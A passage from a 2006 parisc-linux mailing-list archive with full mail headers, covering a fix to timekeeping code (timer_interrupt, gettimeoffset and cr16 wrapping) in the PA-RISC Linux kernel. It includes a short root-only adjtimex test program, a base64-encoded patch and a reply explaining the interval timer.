	struct timex *buffp = (struct timex *) -1;

	/* Check whether we are root */
	if (geteuid() != 0) {
		fprintf(stderr, "This needs to run as root.\n");
		return(-1);
	}
	
	/* Call adjtimex(2) */
	adjtimex(buffp);

	return 0;
}



--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--/9DWx/yDrRhgMJTb--



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Wed, 30 Aug 2006 00:48:43 -0400
Lines: 165
Approved: news@gmane.org
Message-ID: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_17714_1511142.1156913323921"
X-Trace: ger.gmane.org 1416624164 20779 80.91.229.3 (22 Nov 2014 02:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:44 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 willy@debian.org,
 "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 04:48:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 30 Aug 2006 06:48:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D98C7D700;
	Tue, 29 Aug 2006 22:48:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00817-04; Tue, 29 Aug 2006 22:48:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0257B7D702;
	Tue, 29 Aug 2006 22:48:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35F8F7D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 22:48:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00817-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 22:48:45 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.233])
	by free.linux.hp.com (Postfix) with ESMTP id DACC77D6FE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 22:48:44 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so94568wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 21:48:44 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:x-google-sender-auth;
	b=tRO73v4756jJDzUAv2GhpT+VqZQv20/Y8FGI4a6vzHFngzcWND9TSZ6YQ2A0o+q3DYvWXbFJhJ7SSyxga+wxZP8wzT3vTI7sqzITE2sa7bGT8iCUNY934fLMl0qwvxVB8LKZk2AGEYAM+PyFX1iGveyzsQWfEwETVrxvSqETSwQ=
Original-Received: by 10.90.120.13 with SMTP id s13mr62521agc;
	Tue, 29 Aug 2006 21:48:44 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Tue, 29 Aug 2006 21:48:43 -0700 (PDT)
X-Google-Sender-Auth: ac67b41a7b9bc8d2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0mmcK8gkMydyf4igZWpl9yJraGRhZlrS
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23926

------=_Part_17714_1511142.1156913323921
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

A review of 'arch/parisc/kernel/time.c' and in particular
'timer_interrupt' and 'gettimeoffset'  show that this code has a
couple of design flaws.

1. cr16 is treated as signed.
2. No attempt is made to handle cr16 wrapping.
3. jiffies vs. wall_jiffies adjustment is incorrect.

I have rewritten 'timer_interrupt'.

A. cr16 is treated as an unsigned long.
B. The following 3 scenarios exist.

1. The timer interrupt fires, and 'now' comes after 'next_tick'
2. The timer interrupt fires, and 'now' has wrapped and is before 'next_tick'
3. The timer interrupt fires, and 'now' is *just* before 'next_tick'

In theory 99% of the time we should be in scenario 1. On occasion we
may miss a timer interrupt, end up close to wrapping, and we get
scenario 2. Scenario 3 is just plain wrong and for now I will BUG() if
the timer fires before we intended.

I have adjusted 'gettimeoffset' in the following fashion:

A. cr16 is treated as an unsigned long.
B. Never ever ever return a negative adjustment.
C. (jiffies - wall_jiffies) adjustment is always positive and added to usec.
D. The 3 timer scenarios (same as above), exist.

I assert that 'gettimeoffset' should never return a negative value. It
represents the postive adjustment accounting for the fact that we are
*part* of the way through a tick.

The patch is attached. Please review. I booted this on my a500 without
any problems. I don't really know how to look for problems so I ran
the glibc testsuite and didn't get any extra regressions.

The real test will be to run this on a 715/50 and look for Guy's
reported problems. Guy, would you mind patching your kernel with this
patch and testing again?

Cheers,
Carlos.

------=_Part_17714_1511142.1156913323921
Content-Type: text/x-patch; name=patch-2006-08-29-time.diff; 
	charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_erh86tf1
Content-Disposition: attachment; filename="patch-2006-08-29-time.diff"

ZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2tlcm5lbC90aW1lLmMgYi9hcmNoL3BhcmlzYy9rZXJu
ZWwvdGltZS5jCmluZGV4IDVmYWNjOWIuLmNlN2RjNWUgMTAwNjQ0Ci0tLSBhL2FyY2gvcGFyaXNj
L2tlcm5lbC90aW1lLmMKKysrIGIvYXJjaC9wYXJpc2Mva2VybmVsL3RpbWUuYwpAQCAtNDQsMzIg
KzQ0LDU3IEBAICNlbmRpZgogCiBpcnFyZXR1cm5fdCB0aW1lcl9pbnRlcnJ1cHQoaW50IGlycSwg
dm9pZCAqZGV2X2lkLCBzdHJ1Y3QgcHRfcmVncyAqcmVncykKIHsKLQlsb25nIG5vdzsKLQlsb25n
IG5leHRfdGljazsKLQlpbnQgbnRpY2tzOworCXVuc2lnbmVkIGxvbmcgbm93OworCXVuc2lnbmVk
IGxvbmcgbmV4dF90aWNrOworCXVuc2lnbmVkIGxvbmcgbmV4dF9uZXh0X3RpY2s7CisJdW5zaWdu
ZWQgbG9uZyBkaWZmZXJlbmNlOworICAgICAgICB1bnNpZ25lZCBsb25nIHJlbWFpbmRlcjsKKwlp
bnQgbnRpY2tzID0gMDsKIAlpbnQgY3B1ID0gc21wX3Byb2Nlc3Nvcl9pZCgpOwogCiAJcHJvZmls
ZV90aWNrKENQVV9QUk9GSUxJTkcsIHJlZ3MpOwogCi0Jbm93ID0gbWZjdGwoMTYpOwotCS8qIGlu
aXRpYWxpemUgbmV4dF90aWNrIHRvIHRpbWUgYXQgbGFzdCBjbG9ja3RpY2sgKi8KKwkvKiBJbml0
aWFsaXplIG5leHRfdGljayB0byB0aGUgZXhwZWN0ZWQgdGljayB0aW1lLiAqLwogCW5leHRfdGlj
ayA9IGNwdV9kYXRhW2NwdV0uaXRfdmFsdWU7CisJbmV4dF9uZXh0X3RpY2sgPSBuZXh0X3RpY2sg
KyBjbG9ja3RpY2s7CiAKLQkvKiBzaW5jZSB0aW1lIHBhc3NlcyBiZXR3ZWVuIHRoZSBpbnRlcnJ1
cHQgYW5kIHRoZSBtZmN0bCgpCi0JICogYWJvdmUsIGl0IGlzIG5ldmVyIHRydWUgdGhhdCBsYXN0
X3RpY2sgKyBjbG9ja3RpY2sgPT0gbm93LiAgSWYgd2UKLQkgKiBuZXZlciBtaXNzIGEgY2xvY2t0
aWNrLCB3ZSBjb3VsZCBzZXQgbmV4dF90aWNrID0gbGFzdF90aWNrICsgY2xvY2t0aWNrCi0JICog
YnV0IG1heWJlIHdlJ2xsIG1pc3MgdGlja3MsIGhlbmNlIHRoZSBsb29wLgotCSAqCi0JICogVmFy
aWFibGVzIGFyZSAqc2lnbmVkKi4KLQkgKi8KKwkvKiBHZXQgY3VycmVudCBpbnRlcnZhbCB0aW1l
ciByZWFkaW5nLCByZWFkcyBhcyA2NC8zMiBiaXQKKyAgICAgICAgICAgdmFsdWUgZGVwZW5kaW5n
IGlmIHlvdSBoYXZlIGEgNjQvMzIgYml0IG1hY2hpbmUuICAqLworCW5vdyA9IG1mY3RsKDE2KTsK
IAotCW50aWNrcyA9IDA7Ci0Jd2hpbGUoKG5leHRfdGljayAtIG5vdykgPCBoYWxmdGljaykgewot
CQluZXh0X3RpY2sgKz0gY2xvY2t0aWNrOworCS8qIERldGVybWluZSBob3cgbXVjaCB0aW1lIGVs
YXBzZWQuICAqLworCWlmIChub3cgPiBuZXh0X3RpY2spIHsKKwkJLyogU2NlbmFyaW8gMTogIm5v
dyIgaXMgbGF0ZS4gICovCisJCW50aWNrcyA9IChub3cgLSBuZXh0X3RpY2spIC8gY2xvY2t0aWNr
OworCQlyZW1haW5kZXIgPSAobm93IC0gbmV4dF90aWNrKSAlIGNsb2NrdGljazsKKwl9CisgICAg
ICAgIGVsc2UgeworCQkvKiAibm93IiBpcyBlaXRoZXIgZWFybHkgb3IgY3IxNiB3cmFwcGVkLiAg
Ki8KKwkJaWYgKG5leHRfbmV4dF90aWNrIDwgbmV4dF90aWNrKSB7CisJCQkvKiBTY2VuYXJpbyAy
OiBBIG1pc3NlZCBjbG9jayB0aWNrIHdvdWxkIHdyYXAuICovCisJCQlkaWZmZXJlbmNlID0gfjBV
TCAtIChuZXh0X3RpY2sgLSBub3cpOworCQkJbnRpY2tzID0gZGlmZmVyZW5jZSAvIGNsb2NrdGlj
azsKKwkJCXJlbWFpbmRlciA9IGRpZmZlcmVuY2UgJSBjbG9ja3RpY2s7CisJCX0gZWxzZSB7CisJ
CQkvKiBTY2VuYXJpbyAzOiBXZSBkaWRuJ3QgbWlzcyBhIGNsb2NrIHRpY2suIAorCQkJICAgIm5v
dyIgaXMgZWFybHk/ICAqLworCQkJcHJpbnRrICgidGltZXJfaW50ZXJydXB0OiBOb3cgaXMgZWFy
bHksIG5vdyA9ICVseCwgbmV4dF90aWNrID0gJWx4LCBjbG9ja3RpY2sgPSAlbHhcbiIsIG5vdywg
bmV4dF90aWNrLCBjbG9ja3RpY2spOworCQkJQlVHICgpOworCQl9CisJfQorCisJLyogQ2hlY2sg
dGhlIHJlbWFpbmRlciB0byBzZWUgaG93IGZhciB3ZSBhcmUgaW50byB0aGUgbmV4dCB0aWNrPyAg
Ki8KKwlpZiAocmVtYWluZGVyID4gaGFsZnRpY2spIHsKKwkJLyogTW9yZSB0aGFuIDEvMiB3YXkg
aW4/IENvdW50IGEgdGljay4gICovCiAJCW50aWNrcysrOwogCX0KLQltdGN0bChuZXh0X3RpY2ss
IDE2KTsKLQljcHVfZGF0YVtjcHVdLml0X3ZhbHVlID0gbmV4dF90aWNrOworCisJLyogQWRkIGFu
eSBmdWxsIHRpY2tzIHRoYXQgaGF2ZSBlbGFwc2VkLiAgKi8KKwluZXh0X25leHRfdGljayArPSBu
dGlja3MgKiBjbG9ja3RpY2s7CisKKyAgICAgICAgLyogT25seSBib3R0b20gMzItYml0cyBvZiBu
ZXh0X3RpY2sgYXJlIHdyaXR0ZW4gdG8gY3IxNi4gICovCisJbXRjdGwobmV4dF9uZXh0X3RpY2ss
IDE2KTsKKwljcHVfZGF0YVtjcHVdLml0X3ZhbHVlID0gbmV4dF9uZXh0X3RpY2s7CiAKIAl3aGls
ZSAobnRpY2tzLS0pIHsKICNpZmRlZiBDT05GSUdfU01QCkBAIC0xMjQsMjEgKzE0OSw0NyBAQCAj
aWZuZGVmIENPTkZJR19TTVAKIAkgKiAgICBPbmNlIHBhcmlzYy1saW51eCBsZWFybnMgdGhlIGNy
MTYgZGlmZmVyZW5jZSBiZXR3ZWVuIHByb2Nlc3NvcnMsCiAJICogICAgdGhpcyBjb3VsZCBiZSBt
YWRlIHRvIHdvcmsuCiAJICovCi0JbG9uZyBsYXN0X3RpY2s7Ci0JbG9uZyBlbGFwc2VkX2N5Y2xl
czsKKwl1bnNpZ25lZCBsb25nIG5vdzsKKwl1bnNpZ25lZCBsb25nIGxhc3RfdGljazsKKwl1bnNp
Z25lZCBsb25nIG5leHRfdGljazsKKwl1bnNpZ25lZCBsb25nIG5leHRfbmV4dF90aWNrOworCXVu
c2lnbmVkIGxvbmcgZWxhcHNlZF9jeWNsZXM7CisJdW5zaWduZWQgbG9uZyB1c2VjOworCXVuc2ln
bmVkIGxvbmcgbG9zdDsKIAogCS8qIGl0X3ZhbHVlIGlzIHRoZSBpbnRlbmRlZCB0aW1lIG9mIHRo
ZSBuZXh0IHRpY2sgKi8KLQlsYXN0X3RpY2sgPSBjcHVfZGF0YVtzbXBfcHJvY2Vzc29yX2lkKCld
Lml0X3ZhbHVlOworCW5leHRfdGljayA9IGNwdV9kYXRhW3NtcF9wcm9jZXNzb3JfaWQoKV0uaXRf
dmFsdWU7CisJbmV4dF9uZXh0X3RpY2sgPSBuZXh0X3RpY2sgKyBjbG9ja3RpY2s7CiAKLQkvKiBT
dWJ0cmFjdCBvbmUgdGljayBhbmQgYWNjb3VudCBmb3IgcG9zc2libGUgZGlmZmVyZW5jZSBiZXR3
ZWVuCi0JICogd2hlbiB3ZSBleHBlY3RlZCB0aGUgdGljayBhbmQgd2hlbiBpdCBhY3R1YWxseSBh
cnJpdmVkLgotCSAqIChha2Egd2FsbCB2cyByZWFsKQotCSAqLwotCWxhc3RfdGljayAtPSBjbG9j
a3RpY2sgKiAoamlmZmllcyAtIHdhbGxfamlmZmllcyArIDEpOwotCWVsYXBzZWRfY3ljbGVzID0g
bWZjdGwoMTYpIC0gbGFzdF90aWNrOworCS8qIFRoaXMgcmVwcmVzZW50cyBsb3N0IGppZmZpZXMu
ICAqLworCWxvc3QgPSBjbG9ja3RpY2sgKiAoamlmZmllcyAtIHdhbGxfamlmZmllcyk7IAorCQor
CS8qIFdlIHJvbGwgYmFjayAxIHRpY2suICAqLworCWxhc3RfdGljayA9IG5leHRfdGljayAtIGNs
b2NrdGljazsKKworCS8qIFJlYWQgdGhlIGhhcmR3YXJlIGludGVydmFsIHRpbWVyLiAgKi8KKwlu
b3cgPSBtZmN0bCgxNik7CiAKLQkvKiB0aGUgcHJlY2lzaW9uIG9mIHRoaXMgbWF0aCBjb3VsZCBi
ZSBpbXByb3ZlZCAqLwotCXJldHVybiBlbGFwc2VkX2N5Y2xlcyAvIChQQUdFMC0+bWVtXzEwbXNl
YyAvIDEwMDAwKTsKKwlpZiAobm93ID4gbGFzdF90aWNrKSB7CisJCS8qIFNjZW5hcmlvIDE6ICJu
b3ciIGlzIGxhdGVyIHRoYW4gbGFzdF90aWNrLiAgKi8KKwkJZWxhcHNlZF9jeWNsZXMgPSBub3cg
LSBsYXN0X3RpY2s7CisJfSBlbHNlIHsKKwkJLyogIm5vdyIgaXMgZWl0aGVyIGVhcmx5IG9yIGNy
MTYgd3JhcHBlZC4gICovCisJCWlmIChuZXh0X25leHRfdGljayA8IGxhc3RfdGljaykgeworCQkJ
LyogU2NlbmFyaW8gMjogQSBtaXNzZWQgY2xvY2sgdGljayB3b3VsZCB3cmFwLiAqLworCQkJZWxh
cHNlZF9jeWNsZXMgPSB+MFVMIC0gKGxhc3RfdGljayAtIG5vdyk7CisJCX0gZWxzZSB7CisJCQkv
KiBTY2VuYXJpbyAzOiBXZSBkaWRuJ3QgbWlzcyBhIGNsb2NrIHRpY2suIAorCQkJICAgIm5vdyIg
aXMgZWFybHk/ICAqLworCQkJcHJpbnRrICgiZ2V0dGltZW9mZnNldDogTm93IGlzIGVhcmx5LCBu
b3cgPSAlbHgsIGxhc3RfdGljayA9ICVseCwgbmV4dF90aWNrID0gJWx4LCBjbG9ja3RpY2sgPSAl
bHhcbiIsIG5vdywgbGFzdF90aWNrLCBuZXh0X3RpY2ssIGNsb2NrdGljayk7CisJCQlCVUcgKCk7
CisJCX0KKwl9CisKKwkvKiBGSVhNRTogSW1wcm92ZSBwcmVjaXNpb24uICovCisJdXNlYyA9IGVs
YXBzZWRfY3ljbGVzICogMTAwMDAgLyBQQUdFMC0+bWVtXzEwbXNlYzsKKwl1c2VjICs9IGxvc3Q7
CisJcmV0dXJuIHVzZWM7CiAjZWxzZQogCXJldHVybiAwOwogI2VuZGlmCkBAIC0xNDksNiArMjAw
LDcgQEAgZG9fZ2V0dGltZW9mZGF5IChzdHJ1Y3QgdGltZXZhbCAqdHYpCiB7CiAJdW5zaWduZWQg
bG9uZyBmbGFncywgc2VxLCB1c2VjLCBzZWM7CiAKKwkvKiBIb2xkIHh0aW1lX2xvY2sgYW5kIGFk
anVzdCB0aW1ldmFsLiAgKi8KIAlkbyB7CiAJCXNlcSA9IHJlYWRfc2VxYmVnaW5faXJxc2F2ZSgm
eHRpbWVfbG9jaywgZmxhZ3MpOwogCQl1c2VjID0gZ2V0dGltZW9mZnNldCgpOwpAQCAtMTU2LDI1
ICsyMDgsMTMgQEAgZG9fZ2V0dGltZW9mZGF5IChzdHJ1Y3QgdGltZXZhbCAqdHYpCiAJCXVzZWMg
Kz0gKHh0aW1lLnR2X25zZWMgLyAxMDAwKTsKIAl9IHdoaWxlIChyZWFkX3NlcXJldHJ5X2lycXJl
c3RvcmUoJnh0aW1lX2xvY2ssIHNlcSwgZmxhZ3MpKTsKIAotCWlmICh1bmxpa2VseSh1c2VjID4g
TE9OR19NQVgpKSB7Ci0JCS8qIFRoaXMgY2FuIGhhcHBlbiBpZiB0aGUgZ2V0dGltZW9mZnNldCBh
ZGp1c3RtZW50IGlzCi0JCSAqIG5lZ2F0aXZlIGFuZCB4dGltZS50dl9uc2VjIGlzIHNtYWxsZXIg
dGhhbiB0aGUKLQkJICogYWRqdXN0bWVudCAqLwotCQlwcmludGsoS0VSTl9FUlIgImRvX2dldHRp
bWVvZmRheSgpIHNwdXJpb3VzIHh0aW1lLnR2X25zZWMgb2YgJWxkXG4iLCB1c2VjKTsKLQkJdXNl
YyArPSBVU0VDX1BFUl9TRUM7Ci0JCS0tc2VjOwotCQkvKiBUaGlzIHNob3VsZCBuZXZlciBoYXBw
ZW4sIGl0IG1lYW5zIHRoZSBuZWdhdGl2ZQotCQkgKiB0aW1lIGFkanVzdG1lbnQgd2FzIG1vcmUg
dGhhbiBhIHNlY29uZCwgc28gdGhlcmUncwotCQkgKiBzb21ldGhpbmcgc2VyaW91c2x5IHdyb25n
ICovCi0JCUJVR19PTih1c2VjID4gTE9OR19NQVgpOwotCX0KLQotCisJLyogTW92ZSBhZGp1c3Rl
ZCB1c2VjJ3MgaW50byBzZWMncy4gICovCiAJd2hpbGUgKHVzZWMgPj0gVVNFQ19QRVJfU0VDKSB7
CiAJCXVzZWMgLT0gVVNFQ19QRVJfU0VDOwogCQkrK3NlYzsKIAl9CiAKKwkvKiBSZXR1cm4gYWRq
dXN0ZWQgcmVzdWx0LiAgKi8KIAl0di0+dHZfc2VjID0gc2VjOwogCXR2LT50dl91c2VjID0gdXNl
YzsKIH0K
------=_Part_17714_1511142.1156913323921
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_17714_1511142.1156913323921--



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Wed, 30 Aug 2006 10:19:43 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440608300719l74c4be28m642253dd7d470ab8@mail.gmail.com>
References: <200608272107.k7RL7frm018389@hiauly1.hia.nrc.ca>
	<200608272132.k7RLW9hl018646@hiauly1.hia.nrc.ca>
	<20060830101016.0ea9fe4d.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624164 20782 80.91.229.3 (22 Nov 2014 02:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:44 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Guy Martin" <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 14:19:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 30 Aug 2006 16:19:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B69E7D760;
	Wed, 30 Aug 2006 08:19:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08869-06; Wed, 30 Aug 2006 08:19:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D13137D749;
	Wed, 30 Aug 2006 08:19:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51B567D741
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 08:19:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08869-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 08:19:44 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.238])
	by free.linux.hp.com (Postfix) with ESMTP id 1A2FE7D740
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 08:19:44 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i7so41757wra
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 07:19:43 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=R6WBds10RfZCzpYcjyVVSNQvwd+iZI4Z6LFa9nI/pFyv2HUy+fxgKIg994PvqyCRTjsWKxtNVEouRcxxVqM13HV10uAqDZgNy8VPLUIaFSEVmmjHuVN7cQMKBqBjZju+nI9TiIh88Tr+V77VckBMBuRhrHpcuQ9AHp+Nktk3jSI=
Original-Received: by 10.90.66.9 with SMTP id o9mr240766aga;
	Wed, 30 Aug 2006 07:19:43 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Wed, 30 Aug 2006 07:19:43 -0700 (PDT)
In-Reply-To: <20060830101016.0ea9fe4d.gmsoft@tuxicoman.be>
Content-Disposition: inline
X-Google-Sender-Auth: 9bc5b513b5b39acc
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7fKeLPNJTlIvULeQeGhrNalGU2poZZkB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23927

On 8/30/06, Guy Martin <gmsoft@tuxicoman.be> wrote:
> Thanks for identifying the possible issue. However I'm not sure how that could be fixed.
> What happend when we read from cr16 and then write in a long does 0xffffffff get stored because it overflow ?

In practice we need only guarantee that gettimeoffset() return
positive values to ensure the forward progression of time.

> What would be the best fix for this then ? Process the value returned by cr16 and add one sec for the higher 4bytes and the proceed as usual with the lower bytes ?

The best fix is to identify the wrapping situation. There are 2 or 3
robust ways to do this.

> How does this counter works ? Does it increase or decrease ? How fast is it doing so ?

You need to read the PA 1.1 or PA 2.0 architecture documens which
describe the behaviour of the interval timer and the interrupt
generation. The counter is actually 2 registers, a free-running
counter usually counting at the same speed as the CPU clock, and the
"trigger time" which is always a 32-bit trigger value. When the lower
32-bits of the free-running counter equals the 32-bit trigger, then a
timer interrupt is generated.

Cheers,
Calros.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Wed, 30 Aug 2006 18:38:19 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624164 20784 80.91.229.3 (22 Nov 2014 02:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:44 +0000 (UTC)
Cc: willy <willy@debian.org>,
 "James.Bottomley" <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "carlos" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 16:38:51 -0000
